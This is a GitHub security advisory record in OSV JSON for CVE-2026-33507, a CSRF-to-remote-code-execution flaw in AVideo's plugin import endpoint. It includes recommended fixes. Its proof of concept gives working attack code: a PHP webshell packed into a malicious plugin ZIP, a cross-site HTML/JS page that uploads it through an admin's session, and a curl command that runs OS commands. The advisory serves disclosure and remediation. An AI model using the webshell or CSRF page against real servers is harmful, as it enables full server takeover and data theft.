{"id":"GHSA-hv36-p4w4-6vmj","summary":"AVideo Affected by CSRF on Plugin Import Endpoint Enables Unauthenticated Remote Code Execution via Malicious Plugin Upload","details":"## Summary\n\nThe `objects/pluginImport.json.php` endpoint allows admin users to upload and install plugin ZIP files containing executable PHP code, but lacks any CSRF protection. Combined with the application explicitly setting `session.cookie_samesite = 'None'` for HTTPS connections, an unauthenticated attacker can craft a page that, when visited by an authenticated admin, silently uploads a malicious plugin containing a PHP webshell, achieving Remote Code Execution on the server.\n\n## Details\n\nThe root cause has two components working together:\n\n**1. SameSite=None on session cookies (`objects/include_config.php:134-137`):**\n\n```php\nif ($isHTTPS) {\n    ini_set('session.cookie_samesite', 'None');\n    ini_set('session.cookie_secure', '1');\n}\n```\n\nThis explicitly allows browsers to include the session cookie on cross-origin requests to the AVideo instance.\n\n**2. No CSRF protection on pluginImport.json.php (`objects/pluginImport.json.php:18`):**\n\n```php\nif (!User::isAdmin()) {\n    $obj-\u003emsg = \"You are not admin\";\n    die(json_encode($obj));\n}\n```\n\nThe endpoint only checks `User::isAdmin()` via the session. There is:\n- No CSRF token validation (the `verifyToken`/`globalToken` mechanism used elsewhere is absent)\n- No `allowOrigin()` call (contrast with `objects/videoAddNew.json.php` which calls `allowOrigin()` at line 8)\n- No `Referer` or `Origin` header validation\n- No requirement for custom headers (e.g., `X-Requested-With`)\n\nThe upload form at `view/managerPluginUpload.php` also contains no CSRF token — it's a plain `\u003cform enctype=\"multipart/form-data\"\u003e` with a file input.\n\n**Why the attack bypasses CORS preflight:** `multipart/form-data` is a CORS-safelisted Content-Type, so a `fetch()` call with `mode: 'no-cors'` and `credentials: 'include'` sends the request directly without an OPTIONS preflight. The attacker cannot read the response, but the side effect — plugin installation and PHP file extraction to the web-accessible `plugin/` directory — is the objective.\n\n**Why secondary PHP files are not validated:** The ZIP validation (lines 67-152) thoroughly checks for path traversal, dangerous extensions (`.phtml`, `.phar`, `.sh`, etc.), and verifies the main plugin file extends `PluginAbstract`. However, `.php` is intentionally not in the `dangerousExtensions` list (it's a plugin system), and only the main file (`PluginName/PluginName.php`) is checked for the `PluginAbstract` pattern. Any additional `.php` files in the ZIP are extracted without content inspection.\n\n## PoC\n\n**Step 1: Create the malicious plugin ZIP**\n\n```bash\nmkdir -p EvilPlugin\n# Main file — passes PluginAbstract validation\ncat \u003e EvilPlugin/EvilPlugin.php \u003c\u003c 'PLUG'\n\u003c?php\nclass EvilPlugin extends PluginAbstract {\n    public function getTags() { return array(); }\n    public function getDescription() { return \"test\"; }\n    public function getName() { return \"EvilPlugin\"; }\n    public function getUUID() { return \"evil-0000-0000-0000\"; }\n    public function getPluginVersion() { return \"1.0\"; }\n    public function getEmptyDataObject() { return new stdClass(); }\n}\nPLUG\n\n# Secondary file — webshell, NOT checked for PluginAbstract\ncat \u003e EvilPlugin/cmd.php \u003c\u003c 'SHELL'\n\u003c?php if(isset($_GET['c'])) system($_GET['c']); ?\u003e\nSHELL\n\nzip -r evil-plugin.zip EvilPlugin/\n```\n\n**Step 2: Host the CSRF exploit page**\n\n```html\n\u003c!DOCTYPE html\u003e\n\u003chtml\u003e\n\u003cbody\u003e\n\u003ch1\u003eLoading...\u003c/h1\u003e\n\u003cscript\u003e\n// Minimal ZIP with EvilPlugin/EvilPlugin.php and EvilPlugin/cmd.php\n// In practice, the attacker would embed the base64-encoded ZIP bytes here\nasync function exploit() {\n    const zipResp = await fetch('evil-plugin.zip');\n    const zipBlob = await zipResp.blob();\n\n    const formData = new FormData();\n    formData.append('input-b1', zipBlob, 'evil-plugin.zip');\n\n    fetch('https://TARGET_AVIDEO_INSTANCE/objects/pluginImport.json.php', {\n        method: 'POST',\n        body: formData,\n        mode: 'no-cors',\n        credentials: 'include'\n    });\n}\nexploit();\n\u003c/script\u003e\n\u003c/body\u003e\n\u003c/html\u003e\n```\n\n**Step 3: Admin visits attacker's page while logged into AVideo over HTTPS**\n\nThe browser sends the multipart/form-data POST with the admin's `PHPSESSID` cookie (allowed by `SameSite=None`). The server processes the upload, validates the ZIP structure, and extracts it to `plugin/EvilPlugin/`.\n\n**Step 4: Attacker accesses the webshell**\n\n```bash\ncurl 'https://TARGET_AVIDEO_INSTANCE/plugin/EvilPlugin/cmd.php?c=id'\n# uid=33(www-data) gid=33(www-data) groups=33(www-data)\n```\n\n## Impact\n\n- **Remote Code Execution:** An unauthenticated attacker achieves arbitrary OS command execution on the AVideo server by exploiting a logged-in admin's session.\n- **Full server compromise:** The webshell runs as the web server user (`www-data`), enabling data exfiltration, lateral movement, database access, and further privilege escalation.\n- **No attacker account needed:** The attacker requires zero privileges on the target system — only that an admin visits a page they control.\n- **Stealth:** The attack is invisible to the admin (fire-and-forget side-effect request). The `no-cors` mode means no visible error or redirect.\n\n## Recommended Fix\n\n**1. Add CSRF token validation to `objects/pluginImport.json.php`** (primary fix):\n\n```php\n// After the isAdmin() check at line 18, add:\nif (!User::isAdmin()) {\n    $obj-\u003emsg = \"You are not admin\";\n    die(json_encode($obj));\n}\n\n// Add CSRF protection\nallowOrigin();\n\n// Also validate a CSRF token\nif (empty($_POST['globalToken']) || !verifyToken($_POST['globalToken'])) {\n    $obj-\u003emsg = \"Invalid CSRF token\";\n    die(json_encode($obj));\n}\n```\n\n**2. Update the upload form in `view/managerPluginUpload.php`** to include the token:\n\n```html\n\u003cform enctype=\"multipart/form-data\"\u003e\n    \u003cinput type=\"hidden\" name=\"globalToken\" value=\"\u003c?php echo getToken(); ?\u003e\"\u003e\n    \u003cinput id=\"input-b1\" name=\"input-b1\" type=\"file\" class=\"\"\u003e\n\u003c/form\u003e\n```\n\nAnd pass it in the JavaScript upload config:\n\n```javascript\n$('#input-b1').fileinput({\n    uploadUrl: webSiteRootURL + 'objects/pluginImport.json.php',\n    uploadExtraData: { globalToken: $('input[name=globalToken]').val() },\n    // ...\n});\n```\n\n**3. Consider changing `SameSite=None` to `SameSite=Lax`** unless cross-origin cookie inclusion is specifically required for application functionality. `Lax` prevents cross-site POST requests from including cookies, which would mitigate this and similar CSRF vectors application-wide.","aliases":["CVE-2026-33507"],"modified":"2026-03-25T20:46:27.069078Z","published":"2026-03-20T21:47:50Z","database_specific":{"cwe_ids":["CWE-352"],"severity":"HIGH","github_reviewed":true,"github_reviewed_at":"2026-03-20T21:47:50Z","nvd_published_at":"2026-03-23T17:16:51Z"},"references":[{"type":"WEB","url":"https://github.com/WWBN/AVideo/security/advisories/GHSA-hv36-p4w4-6vmj"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-33507"},{"type":"WEB","url":"https://github.com/WWBN/AVideo/commit/d1bc1695edd9ad4468a48cea0df6cd943a2635f3"},{"type":"PACKAGE","url":"https://github.com/WWBN/AVideo"}],"affected":[{"package":{"name":"wwbn/avideo","ecosystem":"Packagist","purl":"pkg:composer/wwbn/avideo"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"last_affected":"26.0"}]}],"versions":["10.4","10.8","11","11.1","11.1.1","11.5","11.6","12.4","14.3","14.3.1","14.4","18.0","21.0","22.0","24.0","25.0","26.0"],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/03/GHSA-hv36-p4w4-6vmj/GHSA-hv36-p4w4-6vmj.json"}}],"schema_version":"1.9.0","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H"}]}